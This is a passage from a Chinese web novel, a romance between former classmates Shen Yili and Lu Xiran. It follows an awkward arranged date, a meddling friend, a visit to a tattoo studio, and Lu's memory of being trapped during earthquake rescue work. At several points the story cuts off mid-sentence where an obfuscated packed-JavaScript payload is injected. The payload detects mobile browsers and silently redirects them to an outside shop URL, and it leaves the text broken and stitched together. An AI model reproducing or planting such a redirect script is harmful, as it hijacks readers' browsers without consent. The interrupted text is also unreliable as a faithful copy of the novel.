现在坐在他对面的人,跟他在高中毕业照上看到的不一样,跟在KTV里给他的感觉也不同。 他知道谌一礼的为人,他这人看着谁都好接触,但实际上他的交友太有分寸。 这些年高中同学里真正能跟他有联系的只有一个徐凯锐,哪怕是汪淼都跟他不太熟。 可哪怕是徐凯锐,其实跟谌一礼都隔着一层。 他从不会接徐凯锐的话,从没有邀请徐凯锐去过他家,徐凯锐不了解谌一礼家庭情况,也不知道那人喜欢什么味道的花。 曾经知道这一切的只有他。 可现在路熙然看着眼前人,感觉自己好像没有那个机会。 因为谌一礼看他的眼神不一样。 情窍初开带着喜欢看一个人的眼神,跟现在是不一样的,不会这么平淡,也不会像是带着种怨气。 可路熙然不知道怎么办,他有些盲目地冲对方开口。他说:“谌一礼,我现在手里有八十万,名下有一套三居室、一间广银街的纹身店跟一辆二手越野……” “你是在这儿跟我比财产?还是想炫耀你的身价余额?”谌一礼脸上带笑的打断他的言语,话里却像是藏着刀。 他恰到好处点到为止,看着又有侍者端上来的餐后甜点,还是那句话,“先吃饭吧。” 这场相亲结束得很早,谌一礼始终没开口问路熙然当年他被放的鸽子,也未提及那年元旦他被那句算了给研磨成齑粉的骄傲。 没了再继续的想法,总归是多说多错。 饭后谌一礼抢先结了账,他出来时路熙然正站在外面等他。 那人也抽烟,一米八的身段被路灯和车流光线勾勒出来,宽肩、窄腰、大长腿,跟幅画报似的。他见谌一礼来,把手里的烟灭了,扔进了一旁的垃圾箱。 可谌一礼没问他什么时候开始抽烟,视线也没在他身上停留多久。他脸上挂着疏离又客套的笑意,“怎么来的?要不要我送你?” “不用,我开车,”路熙然回答,话说到这里又斟酌道,“酒和餐点大多都是我吃的,要不下次我请?” 谌一礼摇摇头,婉拒,“一顿饭而已,不值几个钱,”他话音落下,接着问他,“徐凯锐让你带给我的打火机和烟拿了吗?” 路熙然摩挲着口袋里的东西,“……没拿,我送你公司?” “没事,没拿就算了,便宜货。”谌一礼不再多说,他从自己口袋里摸了根烟出来,刚准备点火,就见一边有光凑过来。 男人背着风给他点烟,蓝色的火光照亮了那双微弯着的深邃眸子。 谌一礼记得眼前人这幅样子,因为这人的眼神他当年见过很多次。 他见过对方冲着他撒娇,记得那年成年礼他站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这个点不好开车,几步路他干脆走着去。几乎是不可避免的,他路过了那家西餐厅,也路过了刚刚他给谌一礼点烟的位置。 前不久那人扔的烟头还在垃圾箱里,而那垃圾箱的旁边也有一张白色卡片。 那张卡片,无论是花样还是纹路路熙然都认识。 是他方才给谌一礼的那张名片。 现如今那张名片被遗落在了垃圾桶旁边。 路熙然敛着眸子,目光扫过那张卡纸,裹了裹自己身上的工装外套。 春末的风真冷,好像吹得人心都往下沉了几分。 5. 倾吐 谌一礼的车停在了另一边,他走到了自己的停车位旁等着代驾,可代驾没等来,就先看见了两个鬼鬼祟祟跟着他的人影。 一个是他“友好”发小许毅。 一个是他本次的相亲介绍人,他的亲侄子谌桐。 谌一礼无言,他算是知道老爷子那句“我找人盯着”从何而来,也算是了解了为什么他老人家会订一家西餐厅。 “许叔叔,这家的牛排跟薯条好吃,下次我们尝尝别的,”坐在车后座的谌桐在跟许毅说了一句后,转身过来扒着副驾驶的椅子八卦,他凑过来问谌一礼,“叔,你跟对方是不是认识?” 他说到这儿,又人小鬼大的接了一句,“你是不是没看上他?” 谌一礼坐在车上,懒得理,他一句话没回,冷着脸让谌桐坐好,又看向一边同样一脸八卦的许毅,“你带他在怎么不跟我说一声?” “我刚好下午两三点去拜访你家老爷子,结果老爷子告诉我你要相亲,又刚好碰到这孩子今天学校研学回来,就带上了。”许毅说到这里,好奇地问谌一礼,“这人我是不是见过,你妈去世前住院,他去看过?” 谌一礼闻言,也不瞒他:“是。” “那你上次那身打扮也是去见他?老牛吃嫩草啊你,”许毅又补了一句,见谌一礼没反应过来,又说,“就是我住院那天,你穿得特骚包那次。” 谌一礼无语,甩给他一个白眼。 谌一礼:“他跟我一样大,高中同学。” “那是你初恋?”许毅接了一句。 “哇——”谌桐跟着附和。 谌一礼懒得回,他可以跟许毅聊这个,但当着身后这个大喇叭侄子的面,他一句话都不想说,干脆闭眼装死。 可奈何后座两个都是话多的,其中一个还是他此次相亲的介绍人。 “他长挺帅,干嘛的?” “纹身师,还做救援。” “收入怎么样?” “好像不错。” “家庭环境呢?” “爸妈都去世了,就剩个弟弟,在上大学。” “这种家庭?” “这种家庭怎么了?熙然哥可好了。” 谌一礼听着他两一大一小当他面这么唱双簧,回头赏了谌桐一个爆栗,瞪他,“你怎么叫他叫哥,叫我叫叔?我跟他一样大。” 谌桐捂着脑袋不服,“人熙然哥就是比你好。” “谌桐。”谌一礼终于冷了脸,他一双眉头蹙着,叫了声他的大名。剩下的话他一句都不用说,就看见那小子自动闭了嘴。 谌桐到底还是怕他。 许毅坐在一边失笑,干脆也没再多问。 来的代驾开着车,两人先把谌桐送回了家,至于许毅则准备到谌一礼那儿凑合一晚。 他当年在美国留学,跟谌一礼是合租。这么些年过去,谌一礼该是什么样,还是什么样,家里只有一个位置算得上干净,那就是卧室。 至于沙发、餐桌,几乎都乱糟糟的。 “保洁多久来一次?”许毅见怪不怪,末了没等到回答,先开口打趣,“礼礼,你相亲对象知道你这么不爱收捡吗?” “许毅。”谌一礼弯腰给人找拖鞋的动作停下,眉眼凌然地望过去,“你要是今晚不想睡沙发,就给我把嘴闭上。” “真生气啊?”许毅挑眉,看见扔在自己脚边的拖鞋,问他,“我说对了,真是初恋对象?” 他话音刚落就对上了谌一礼想刀人的眼神,但许毅仍旧笑着,自顾自在谌一礼家里转了一圈。 这房子是谌一礼一个人住,本来是三室一卫的格局,但有一间卧室改成了书房,只剩一个次卧。 不过好在次卧也有保洁打扫,一周一次,谌一礼也不怎么进去。要不然如果客卧跟客厅那些公共区域一样,许毅只能将就一下了。 许毅参观洗漱完,好心地帮谌一礼把客厅沙发上的没洗的旧衣物扔到一边,整理出两个人能坐下的位置,又从展示的酒柜里翻出来一瓶开了的龙舌兰。 他见谌一礼洗漱完穿着睡衣出来,拿着酒杯冲着他晃了晃,“要不喝点?” 谌一礼垂眸看着那杯酒,走到冰箱边拿出一听灌装雪碧扔给他,“你喝这个。” 许毅无语,翻了个白眼。 两人靠在沙发上,相互凑合着碰了个杯,日子像是回到了当年在国外留学的时候,只是现在身边没有通宵开派对的闹腾邻居,也不会有警方时不时敲门的突击检查。 许毅认命地接受了自己手里的雪碧,问他:“你要不跟我说说?就你跟你相亲对象那事儿。” 谌一礼闻言看向他。他知道许毅看得出来他心情不好,可真要他说,却不知道从哪里说。 太矫情,不合适。谌一礼说不出来路熙然的坏话,但他深深明白自己内心的这股不快乐从何而来。 他好像远比他想得更在意那年路熙然对他的躲藏。 那年高考结束后的第二天,他在华实高中门口等了路熙然一整天。从早上就在等,一直等到晚霞余晖洒满天边。 他给那人发消息,问他在哪,问他要不要喝奶茶,吃不吃雪糕,又问他大学准备报哪个城市,高考数学最后一道选择题选的什么。 可这些发过去的消息统统没得到回应,石沉大海后,被逼迫的谌一礼拿起手机朝对面扔下一句,“路熙然,我生气了啊。” 这句话,他原来百试百灵。路熙然一贯会惹人生气,可同样也会哄人开心,谌一礼作为他同桌,被那人招惹的次数只多不少。 但只要他说这话,路熙然就会见好就收,会窝到他身边耍赖,会撒娇,会冲他傻笑,说:“谌一礼,你理我一下,不生气了好不好?” 他会念叨说:“谌一礼,你真难哄啊,是我见过最难哄的了。” 可这次,哪怕谌一礼发了这条消息,也没有得到回答。 他在不甘中打对方的电话,在联系人目录找寻他们的共同好友,他问路熙然是不是之前说的约定都不做数。高考放假前,那人跨过半个校园,塞到自己手里的那张纸条,是不是只是一个玩笑。 但这些问题,统统没有答案。 他不知道那时是跟谁置气,等到晚上七点,才拖着饥肠辘辘的肚子回去。然后在愤懑和溃败中,收到徐凯锐的消息,那人告诉他,说路熙然家发火了,高考都没去。 几乎在那一瞬间,谌一礼就原谅了他。因为事出有因,因为路熙然在他这里,就是有免死金牌。 所以他等着那人亲口给他解释,等着对方告诉他,他就是喜欢他想跟他在一起。 结果却从那年盛夏等到严冬,换来对方一句“算了。” 从十八执着到二十八,得到那人一句,“我不后悔。” 坦白讲这些年,谌一礼也见过了不少人,遇见不少事,期间还辗转有了一段因为玩大冒险输给自己的“前男友”,他以为自己对路熙然看开了,放下了。 可等他重新坐在那人面前,妄想跟那人提起过去时,他才发现他没他自己想得那么洒脱。 不仅仅是因为被放的鸽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他知道,或许在别人开来,路熙然没什么过错,那年他家里发火,一切都事出有因,他亲人离世,遭受打击,他没时间顾忌这些情情爱爱。 这些谌一礼其实都能接受。 他接受那场在高中前徒劳无功的等待,接受后来那人的沉默、躲避和对他的避之不及。 可那时候,他考虑路熙然,谁考虑他呢? 那年,他也年轻,他是第一次真真切切喜欢上一个人。 他跟路熙然之间的感情,绝对不存在谁比谁高贵,都是第一次爱上一个人,我谌一礼凭什么要让着你? 谌一礼思绪停在了这儿,把酒杯里最后一口龙舌兰喝了个干净。他不想再多说,他知道自己情绪到头了,越说只会越失控,越说只会越过界。 他难得收拾了自己的酒杯,裹了裹身上的睡衣,冲许毅道:“我先睡了。” 许毅仍旧坐在位置上,他看着谌一礼的背影,叫住他,跟他说了一句话。 他说:“如果不甘心就跟着心走就吧,礼礼,怨就怨,喜欢就喜欢。自己快乐点比什么都重要。” 谌一礼闻言,冲着他笑了笑回了卧室,把自己扔进了床褥里。 至于许毅,他在又花了几分钟喝完手里那罐雪碧后,沉思良久,实在没忍住给那个小机灵鬼谌桐发了个消息。 [你说那个人会纹身是吧?] [他纹身室叫什么名字?最近我有时间刚好想去纹个身试试。] 6. 通话 谌一礼是能很快调整好自己状态的人,他不会让自己沉溺于情绪太久,更不会因为一段感情去自我作践。 他该雷厉风行的时候,还是雷厉风行,只是明显在周二过后状态不太好,又恰逢有人在工作里上赶着往枪口撞。 谌一礼忍无可忍,直接把人训了一顿。 只是训到一半,手机响了,是老爷子打来的。 谌一礼自从那天相亲后,就没跟老爷子联系,事实上也不用他联系,以他侄子谌桐的那张嘴,老爷子什么都会知道。 所以他早就做好准备接受他老人家念叨。 果不其然,当谌一礼让人出去,在接通电话后,老爷子的话便铺天盖地的来了。 还是那老一套,说谌一礼心比天高,说他看人眼光他老家伙是没办法了,说谌一礼就是看他老了故意给他找事,这回给他找这么好一个,他都看不上。 “我听桐桐说,你跟那人是初恋对象,他都不行?”老爷子无言,继续问他,“你到底想找个什么样的,我给你在我舞伴那儿帮你征集一下,或者我给你找个画手,你给我描述,我画出来帮你找。” 谌一礼听他越说越离谱,打住他的话头,避重就轻,“不是没看上,就是……我跟他没什么缘分。” “嘿,巧了。”老爷子觉得好笑,“我跟小路打电话,小路也这么说。” 谌一礼噤声。 “你说你俩到底是什么意思?这糊弄我老爷子的说辞倒是都能一样。”老爷子说道这里,又来了气,“缘分缘分,你不接受他不争取,你们哪来的缘分,我看你单一辈子算了。” 老爷子说完,大概也是发泄完了,没再等谌一礼应声就挂了电话。 与此同时,另一边路熙然这几天都宅在了工作室里,没日没夜的赶图画图。 他工作室不算小,算上他一共六个纹身师,还有几个学徒。他们都知道路熙然周二晚上去相了亲,还特地推了两张图空出了半下午时间去剪头发,搞穿搭。 这是路熙然第一次这么主动相亲,他们都以为以他那张脸,什么样的都能拿下。谁承想,看这情况像是不怎么好。 “没成?”跟路熙然关系不错的纹身师骆环先凑过去,他拍了拍他的肩,见没回答,笑了下,“是你没看上他,还是他没看上你?” 路熙然失笑,“都不是,我们不太合适。” “才见一面就说不合适?”骆环无语,“照你这么说都别相亲,一见面就领证,领了证不合适也合适了。” 路熙然笑了笑,没接茬。 “真的,你多见见,约人家出来看个电影,去哪里玩玩,逛逛,熟了不就合适了?”骆环继续道。 “约不出来,”路熙然回,“没联系方式。” 骆环问他:“他没加你?” 路熙然没回。 “那就是你没加他?”骆环有点懵,“你没加他,你加啊,你对人有想法不主动怎么行?” 路熙然还是没说话,趴在那里画图。 骆环是个急脾气,他抢过路熙然手里的笔,“你别光在这儿画图啊哥,自己想想办法,你这么画下去,人就能喜欢你了?” 对此,路熙然终于停了手里的动作看向他,他不知道从何说起自己同谌一礼的过往,干错绕过了这个话题。 他说:“骆环,我在他黑名单里,他不想加我。” 骆环惊呆了,他直接爆了句粗口,问他:“你怎么人家了?第一次见面就给人扔了张房卡?还是性.骚扰了?路熙然,你不是这种人啊。” 路熙然听着耳边人满嘴跑火车的说辞,拿过了他手里的画笔,声音很低:“都没有,就是没缘分。” 他不再开口,任骆环再怎么叭叭都一句话不说。 他有心事时素来这样,沉默、少语,一大半事情都往心里憋。高中毕业家里出事后就这样,这些年来他太多事情都是自己一个人扛,习惯了。 骆环见他这样,气不打一处来,问他:“路熙然你就说你喜不喜欢人家?” 路熙然仍旧不说话,只是独独握着画笔的手停了,那双眼睛不轻不重地瞥了骆环一眼。 “嘿,我算是看不懂了。”骆环气笑,“过年前,你弟哭着失恋来找你,你劝他的时候一套一套的,怎么放你自己身上就这样了。怂货。” 一旁有的纹身师李哥看不下去,直接将骆环拉走。而路熙然仍旧接着画自己的图,他像是不受干扰,连下笔也没有犹豫。 但哪怕是工作室的学徒都能看出来,那副画已经毁了,线条脱离主体,落笔飞线飞得太厉害。本就是心浮气躁折腾出来的东西,在发泄完情绪后路熙然对那幅画看都没看一眼,直接把笔搁在了桌上。 他坐在画室的椅子上发呆,大脑放空,什么都没想。直到很久后,他掏出手机,给相亲前谌桐给他的那个电话号码拨了号过去。 此时的谌一礼刚被许毅从工作里拖出来,他几乎是一出办公室就被许毅在公司给堵了。那人说楚城附近有家房车展览会,要自己陪他去看看。 房车旅行,算是最近几年兴起的。许毅说他想一个人自驾游一段时间,可这人连房车性能、品牌、配饰,什么都没考虑,一点都不了解。这次出来纯是来凑热闹。 他就像是那种班级里成绩最差的学生,等到了考场发现笔都没带。 许毅随便走到一个摊位先看,再问,用他的话来说是实践出真知,可要谌一礼来说,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189031|197039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是纯浪费时间。 “你就不能提前做做功课?什么都不知道。”谌一礼吐槽,但许毅才懒得理他他,他自顾自看得起劲,偶尔还能问问谌一礼的评价。 路熙然的电话就是在这时候打来的。 是没有来电显示是陌生号码。 谌一礼:“喂?” 对面愣了瞬,没说话。 “你好?请问有事吗?”谌一礼继续道。 路熙然握着手机,看着自己面前那副乱七八糟的画,开口叫他:“谌一礼,是我。” 谌一礼没说话。 路熙然:“你最近有时间吗?我想请你吃个饭,就当回请的。” “不用了,我最近工作忙,”谌一礼笑着婉拒,他说到这儿,见对面没有声音,又道,“还有什么事?” 还有什么事? 路熙然听着这句话,感觉有好多话卡在喉咙里。 我可不可以见见你? 你愿意跟我发展一下吗? 我能不能喜欢你? 你现在对我是什么感情? 这些种种问题,像是蛰伏在路熙然胸口的隐疾,被谌一礼的一个问题勾出,却最终只能再度隐匿下去。 他说不出来,感觉没资格,也没资本。 所以这些话路熙然通通没问出口,他刚准备笑笑说没什么,就听电话那头出现了另外一个人的声音。 那人在叫谌一礼,声音贴得很近。 “礼礼,我刚看中了那边那辆房车,陪我过去看看呗?” 只一个称呼,就让路熙然把准备说的话都忘了个干净给。他几乎下意识地挂断电话,给那边留下了一阵忙音。 手机屏幕黑屏,心跳在加速片刻后又趋于平静。路熙然指腹摩挲着手机,他开始意识到自己反应过激,可等手机亮屏,看着已经结束了的通话界面,他到底没了再同谌一礼说话的勇气。 拨过去了能说什么?是问对方是谁?还是问谌一礼不是在工作,怎么在陪别人看房车? 不合适。都不合适。 路熙然失笑着把手机收进了口袋,他看着面前那副凌乱的画,抬手将画质揉成一团,扔进了一边的垃圾桶。 可脑子里那声礼礼一直挥之不去一样。下午给客人纹身时,路熙然状态不好,顾客要的颜色调了几遍都没调出来。 骆环路过看不下去,接过了调色器皿。那人一边调色一边还是那句话,他说:“路熙然,喜欢就追,别怂。” 路熙然垂眸看着杯子里随着搅动而变化着的色彩,难得跟他说了声谢谢。 他想,还是再想办法再跟谌一礼见见吧,偶遇也好,故意也罢。 他心里就是想再见见他。 7. 再遇 只是,路熙然大概没想到,在他刚下这个决定后的傍晚,他就见到了谌一礼。 对方被一个人拉进了他的纹身工作室。 那时,路熙然手上的那个满背已经在收尾了,但大哥疼得有些受不了,说想缓缓。 路熙然应下说好,起身刚出去准备倒杯水,就见纹身室门口有两个人进来。 他请来的前台高欣莹正在跟拉扯谌一礼进来的那人核对预约信息。 “我们路哥排单一直都很满,你如果没提前预约的话,可能一个月后才能过来选图,大约半年后才能过来纹身,你看你能接受吗?” “我是前几天自己跟你们家师傅对接的,是谌桐让我来的,”许毅说完,把自己的手机号报了一遍,转头看向被他拉着胳膊的谌一礼,“怎么,我拉你过来是来做参考,不是来见你前男友,你怕什么。” 谌一礼服气,他被许毅这通操作骚得说不出话。 本来两人逛完房车展是准备去吃饭的。路上许毅开车,不知怎么莫名路过了这家纹身室,然后转手一个侧方停车把谌一礼拉了下来。 等谌一礼看到纹身室名字,再反应过来这人在干嘛已经有些晚了。 他感觉许毅是在瞎胡闹,扯开他的手就准备走,结果步子还没迈出去就见许毅开始装柔弱,捂着胸口说自己不舒服。 谌一礼低声骂了句脏话,停下脚步转头回来,眼神便跟出来倒水的路熙然四目相对。 路熙然工作室这边空调温度开得很高,他穿着一件修身的黑色短T,干练的身材被布料包裹着,胳膊上的大片花臂也显露出来,纹的是几节水墨晕染而出的竹子,黑色的雾面笼罩勾勒出了围绕竹身的山间薄雾。 是幅很漂亮的水墨画。 “哟,前男友。”许毅没谌一礼观察的那么细,他明显不嫌事大,笑嘻嘻地跟路熙然打招呼。 谌一礼无言,走过去在他的脚踝处踹了一脚。 “是今天约好的选图吗?我最近手上活有点多,”路熙然问着,他眼神上下打量了许毅一番,把水杯递给了高欣莹,让人帮忙核对一下预约信息后,带着这两人进了他的画室。 他们这边的纹身室跟画室是连着的,路熙然又跟在纹满背的大哥招呼了一声,把自己的纹身图集递给了许毅。 “微笑的哈巴狗?”他掏出手机,看着高欣莹发来的预约信息,念了一遍许毅的微信名,抬起头看他,像是在确认什么。 许毅一边翻图,一边冲着他笑,“是,是我,我微信跟你联系过的,谌桐说你手艺好,我才过来找的你,”他话说到这儿,用手肘捅了捅他身边的谌一礼,“礼礼,帮我看看,选什么好?” 谌一礼无奈,顺着许毅的目光,看向那人手里的图。 路熙然的画他看过很多次,这人当年美术联考前,天天在书上画、在画纸上画、在卷子上画。那时候这人跟别人都不一样,喜欢用圆珠笔。 蓝色的水墨沁到纸张中,因为手的握力而产生深浅不一的变化。 那年毕业,路熙然给他画过一张用圆珠笔勾勒出的素描,在高三元月调考的数学答题卡上。 等考试完答题卡发下后,那人还指着那张画冲他笑。 十八岁的路熙然对自己的画画天赋自信到令人发指,说以后要做个艺术家。 “等我出名了,这幅画就有名了,恩赐你拿去卖个好价钱。”路熙然当时坐在谌一礼旁边夸夸其谈。 谌一礼没理他,看着他那张答题卡,用笔敲了下他的脑袋,“所以求导你还是没会?好歹两分啊,路熙然,你怎么这么笨。” 可路熙然才不在意他的话,他捂着自己的脑袋,说:“谌一礼,你别看不起这张画,这是除了考试和练习之外,我画的第一张人物素描,我还是特意画的你。” 那时谌一礼看着那幅画,表面仍旧凶巴巴地给他讲题,心里却在笑。他笑路熙然不藏心思,笑他拥有了路熙然某种程度上的第一张素描画。 谁叫当时太年轻了,觉得第一是一个特别好的形容词。 它代表首选、优先、最好,可后来却渐渐觉得,它其实是一座沉重的山峰。 谌一礼背负着路熙然的第一走了好久,结果却被那人半路扔在了道上。 “没什么喜欢的,你能定制吗?”许毅的询问让谌一礼回过神,他的目光也从那册图集上移开。 “可以,你想要什么样的?”路熙然问。 “就,向死而生的那种,不要地狱轮回那种元素,就这种,”许毅翻出一张图集里水墨风格的纹身,“要这样的,你看着设计。” “你要多大,纹在那儿?” “侧腰那块。”许毅说,“两个巴掌大差不多。” “有没有什么一定要有的元素?” “……太阳吧,看着阳光点。” “好。” 那两人在一边商量,许毅做事不是个喜欢磨蹭的人,双方谈好价格和看图时间,其实就可以走了。 路熙然送许毅出来,期间他看了谌一礼一眼,再度尝试着问他:“你什么时候工作不忙,我请你吃个饭?” 谌一礼笑了笑,他说:“好,改天吧,我到时联系你。” 他话这么说,可这话里的改天,显然也不过是种托词。 路熙然手里握着电话,刚想说两人加一下微信约个时间。结果他还没来得及开口,就听一边的许毅道:“谌一礼,我手机前不久回国,微信换号了,我刚下来的急,手机车上没拿。你帮我加一下纹身师微信呗?之后你再推给我?” 谌一礼站在原地没动,没搭腔。 许毅明显醉公之意不在酒,今天从这人出现在他公司,拖着他去房车展,再到现在纹身室,他都是想好了的。 谌一礼气笑了,他抬眸看了许毅一眼,末了转向路熙然,只说了一句话。 他说:“不好意思,我手机没电关机了,下次吧。” 他声音很轻,似乎还没有一边高欣莹看电视剧的声音大,可许毅听清了,路熙然也同样。 后者站在原地看向谌一礼的那双眸子,那双眼睛里很冷,冷到几乎看不出任何情绪。 但该读懂的意思大家其实都明白,都是成年人,话说得要有余地,不戳破,不要让场面难堪,最好也不掉谁的面子。 许毅明白谌一礼的想法,路熙然也同样。 “没事,你到时候跟我们前台打电话,到时候我加你,”路熙然笑着,他敛下眉眼,语气一如往常,“图画好了的话麻烦你再跑一趟,我们这边怕泄图,到时候也方便沟通。” “成。” 许毅不是很在乎,他站在原地又跟路熙然说了说自己纹身图的构想后,走了。一旁的谌一礼站在他身边,在出门前冲着路熙然点了点头,算是打了个招呼。 彼此相互之间都还留着体面,起码下次见面还能聊聊天说说话,不会老死不相往来,但最多也就只能这样。 “人是真不喜欢你啊。”骆环跟其他几个纹身师从旁边关着门的隔间里探头出来,高欣莹抬手把自己桌面的电视剧按了暂停。 高欣莹:“场面真冷,我都不敢说话。” “嗐,”骆环有些阴阳怪气,“那是你太敏感了,刚站这儿的三个明明都是体面人。” 路熙然没理他,屋里那个在纹满背的大哥在喊了,问他能不能接着纹。路熙然敛下心神,重新进去。 另一边,谌一礼跟着许毅上了车,一路上许毅的嘴没停,他本就是喜欢贫嘴的,一会儿说谌一礼的初恋情人长得怪不错,一会儿说路熙然画图手艺确实可以。 只是对于他这些话,谌一礼一句没接,他坐在副驾驶上,开窗,点烟。 窗外的景色不断往后倒退。在倒春寒已然掠过的楚城里,光秃的枝丫上已经开始隐约冒出了新芽。 尼古丁的烟雾随着车的前行慢慢飘散在风中,空气里温度其实还是很低,许毅开着车在谌一礼手里那根烟吸完后,用主驾驶的关窗按钮想把车窗关上。 可他关上去,谌一礼就按下来。 再关上去,再按下来。 两人相互较劲,特幼稚,都特不讲道理。 在不知道第多少次风再度吹入车内时,许毅气笑了,他抬头看了身边人一眼,问他:“生气了?” 谌一礼沉默了一阵,回:“许毅,下次别这样。” 许毅了然。这么久的朋友,他不至于看不出来谌一礼跟路熙然两人之间的诡异气氛,也不再给谌一礼添堵。 他选择略过这个话题,“我看在加州的时候,我撮合你跟斯凯瑞,你不反对啊。” 斯凯瑞,谌一礼的那位瑞士前男友,一个一米八几却喜欢抱着人撒娇耍赖的甜心男孩。 “他跟他不一样。”谌一礼声音很轻,像是想到了什么笑了下,“斯凯瑞是当时玩大冒险不情不愿输给我的‘前男友’,再说那人多愁善感,那就是个紫薇格格。” 许毅噗嗤一下也乐了,问他:“他知道这什么意思吗?” 谌一礼点点头:“知道,他学中文的时候看过还珠格格,看到紫薇失明的时候哭得稀里哗啦。” - 之后许毅没再跟谌一礼碰过面了,那人都是自己一个人去的纹身室,只是在选图确定的那天给谌一礼发了条消息。 [路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189032|197039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师真乃神人。] 谌一礼那时忙着开会,只扫了一眼没回,等再准备回的时候,只见许毅发了一连串的彩虹屁过来。 [真的,图特好看。] [我跟他说改成什么样他都能理解。] [其实我觉得水墨画也不太行,他就又给我画了一版。] [那工笔画,真绝了。] [我跟你说,我要纹在身上,我就是太阳之神。] 谌一礼看着那消息失笑,但为了捧场还是给他扔了个表情包。 [给我看看?] [等纹好,纹好了我给你全方位展示神迹。] 对此,谌一礼想象着许毅说这句话的臭屁样子,回了他一句:[神经。] 许毅的图只有两个巴掌大,纹起来也快。路熙然在某次赶完了一张花臂图后,打电话问许毅有没有时间,可以现在纹,就是时间有点晚。 许毅回得很快,说有。 到达纹身室时,已经是晚上将近七点,路熙然跟骆环他们聚在前面的大厅里吃饭,吃的烧烤味道很大。 “来了。”路熙然跟许毅打了声招呼,问他,“吃了没?一起吃点?” “吃过,你们吃,我坐着等就行。”许毅笑了笑。 本来就快吃完了,路熙然让许毅等太久,他又吃了半碗炒饭就带着许毅进了纹身室。空调是开着的,纹身的颜料也调好了,直接开始纹就行。 “澡洗过吧?”许毅脱衣服时,路熙然带着手套问他。 “洗过,你特意交代,我专门洗了澡过来,搓掉我一层皮,”许毅说着,躺在了纹身椅上,他侧腰的那皮肤还带着点淡淡的红,路熙然看了眼不再多问,专心给他纹身。 他本来话就不多,等纹身针扎下去时,才问许毅感觉怎么样。 “没事,不疼。”许毅说。 他话音刚落,纹身室外面高欣莹叫了一声路哥,“我们走了,东西都清干净了,窗户开着在通风,你走的时候记得关啊。” 路熙然:“知道了。” 门外一阵响,夹杂着纹身室几个学徒说想去哪里喝酒的声音。随后屋内安静下来,只能听见空调的暖气呼呼地往外吹。 “这么晚下班啊?”许毅问他。 “嗯,今天周六,我们周末下班晚些。” “那跟我这是加班?”许毅乐了,“多收费吗?” “不多收,躺好。” 一来一回几个问句,该问的也问清楚了,这明摆着是送人情,是因为谌桐送的,还是因为谌一礼送的,许毅心里门清。他失笑看着在一边给他埋头纹身的路熙然,开口道:“路师傅,我能跟你聊聊天吗?太安静了。” “你说。”路熙然仍旧话少。 许毅思索了会儿,想了想。其实说白了,他跟路熙然算是陌生人,两个陌生人之间,能聊什么?兴趣还是爱好?如果真要聊,好像只能从中间人入手。 他想跟他聊谌一礼。 “路老师,你跟一礼,在一起过吗?” 路熙然握着纹身笔的手没停,语气仍旧淡淡的,“没有,想追他。” 他承认得大大方方,一瞬间让许毅被噎了一下,他抬眸看了路熙然一眼,接话道:“他可不不一定会让你追,你加油。” “会的。”路熙然说。 许毅听着他这回答,来了劲,“你喜欢一礼什么?长得好看,还是性格好?他说你跟他高中就认识,那时候就喜欢吗?” 他抬起头想看人,却被路熙然重新压着躺了回去。那人声音有点闷,沉在带着的口罩里。 他说了一句毫无关系的话,他问许毅,“前年南方川蜀,发了次地震,你知道吗?” 许毅懵了瞬,回:“知道。” “我副业是做应急救援的,当时跟几个朋友去救灾。结果在半截楼里找幸存者时,碰到余震,运气不好,楼塌了。我朋友死了,我被埋在里面,”路熙然说到这儿,转身换了个颜料,继续道,“外面当时破拆很困难,楼里的钢精结构感觉也撑不住。我那天对着无线电对讲机,跟我朋友交代遗言,说了很多。说我的财产啊,说我弟啊……” 他说到这里,转回身对上许毅的眼神,笑了笑,“我当时挺难过的,但又觉得这辈子活成我这样,还挺好。” “然后呢?” “然后……然后我想到了谌一礼,”路熙然说到这里,停下,没再继续,他又附身接着给许毅纹,“再然后,我就被救出来了。” “遗言……提一礼了?”许毅问。 “没。”路熙然笑了笑,“没提他,没资格提他,也不知道提他了能说什么。” 8. 撮合 比死亡更可怕的,是等待死亡来临。 那年,路熙然被埋在废墟之下,半边左腿被石板压着。建筑倒塌掀起的灰尘被他吸进肺里,背脊被凹凸不平的地面搁得生疼。他本想开口喊跟自己一同进来救援的朋友,问他是否受伤。 可喊了几声无人应答不算,没一阵他还感觉自己左手边有温热的液体流来。 是血。 那出血量,大得可怕。 上一秒还跟自己说话的人,下一瞬便可能成了一具尸首。路熙然躺在那冰冷的废墟中,眼睁睁地看着那血液朝自己这边侵袭。他拼了命地逼迫自己冷静,调整呼吸,慢慢用恢复了知觉的手,开始尝试切换无线电对讲机跟外界联系。 好在还有朋友在外面,无线电连接成功。路熙然几句话交代了自己的所处范围,然后在死亡的逼迫下,他近乎是应激一样的开始交代自己的遗言。 